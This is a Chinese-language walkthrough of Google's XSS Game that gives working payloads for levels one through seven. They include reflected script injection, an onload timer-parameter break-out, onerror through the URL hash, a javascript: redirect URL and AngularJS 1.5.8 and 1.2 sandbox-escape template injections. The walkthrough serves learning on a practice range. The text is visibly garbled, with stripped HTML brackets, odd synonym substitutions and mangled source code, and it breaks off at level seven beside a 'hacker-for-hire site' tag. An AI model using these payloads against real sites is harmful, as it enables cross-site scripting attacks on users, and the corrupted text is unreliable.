Google最新XSS Game Writeup

本文介绍了怎么完结谷歌最新的XSSGame的进程,完结了这八个应战就有时机取得Nexus 5x。实际上这八个应战整体来说都不难,都是些常见的xss。通关要求是只要能弹出alert窗口即可。 第一关  反射...

本文介绍了怎么完结谷歌最新的XSSGame的进程,完结了这八个应战就有时机取得Nexus 5x。实际上这八个应战整体来说都不难,都是些常见的xss。通关要求是只要能弹出alert窗口即可。
第一关
 反射型xss,在搜索框提交的内容终究会出现在成果页面的html代码里,没有任何过滤,直接搜索:
script>alert('freebuf')script>

第二关
 仍是反射型,提交内容后会有必定推迟。经过检查html源码能够知道推迟的时刻(timer=)被直接插入到了img标签里的onload事情里:
id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('');" />

 直接恳求url:/?timer=’-alert(1)-’,通关。
第三关
 展现了一些猫的图片,当图片换了后,url仅仅变化了#后边的内容(#1 > #2),感觉能够经过这个id来反射xss。
检查源代码:
function chooseTab() {
     var html = "Cat " + parseInt() + "
";
     html += " +  + ".jpg' />";
     
     document.getElementById('tabContent').innerHTML = html;
     
     // Select the current tab
     var tabs = document.querySelectorAll('.tab');
     for (var i = 0; i if (tabs[i].id == "tab" + parseInt()) {
             tabs[i].className = "tab active";
         } else {
             tabs[i].className = "tab";
         }
     }
     
     window.location.hash = ;
     
     // Tell parent we've changed the tab
     top.postMessage({'url': self.location.toString()}, "*");
}
 哼,依据上一关的创意,感觉能够持续运用一下on事情,修正id后,图片肯定是不存在的,所以运用onerror:
    #1'onerror=alert(1)>

 
搞定
第四关
 翻开后是一个注册页面,让咱们填写邮箱地址,注册完结后经过url里边的next参数把咱们跳转回主页,检查源码:
 script>
  setTimeout(function() { window.location = user provided>; }, 1000);
script>
 在html中,链接能够是js代码,比方:
a href="javascript:...">a>
直接恳求这个跳转url:
confirm?next=javascript:alert(1)
 

第五关
 一个F歌(foogle)搜索框,运用了angularJS 1.5.8,感觉是爆过缝隙的,上某网搜索(angularjs 1.5.8 injection)找到运用办法:
?utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

 第六关
 angularJS 1.2版别的搜索框,在搜索框中提交的内容终究进到了class为ng-non-bindable的div标签里:
  #一般的div标签
Normal: {{1 + 2}}
  #输出:Normal: 3
  #ng-non-bindable
Ignored: {{1 + 2}}
  #输出:Ignored: {{1 + 2}}
 随后发现假如直接提交花括弧会被删掉,所以运用“{”,终究结构这样一个url:
?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
第七关
 经过GET(参数menu)和JSONP恳求加载了一个博客页面,而呼应的title,pictures会被处理为h1标签和img标签。关卡提示:common CSP bypass。
 猜想xss

[1] [2]  黑客接单网

  • 发表于 2021-04-09 12:56
  • 阅读 ( 243 )
  • 分类:互联网

0 条评论

请先 登录 后评论
guanxi16
guanxi16

681 篇文章

你可能感兴趣的文章

相关问题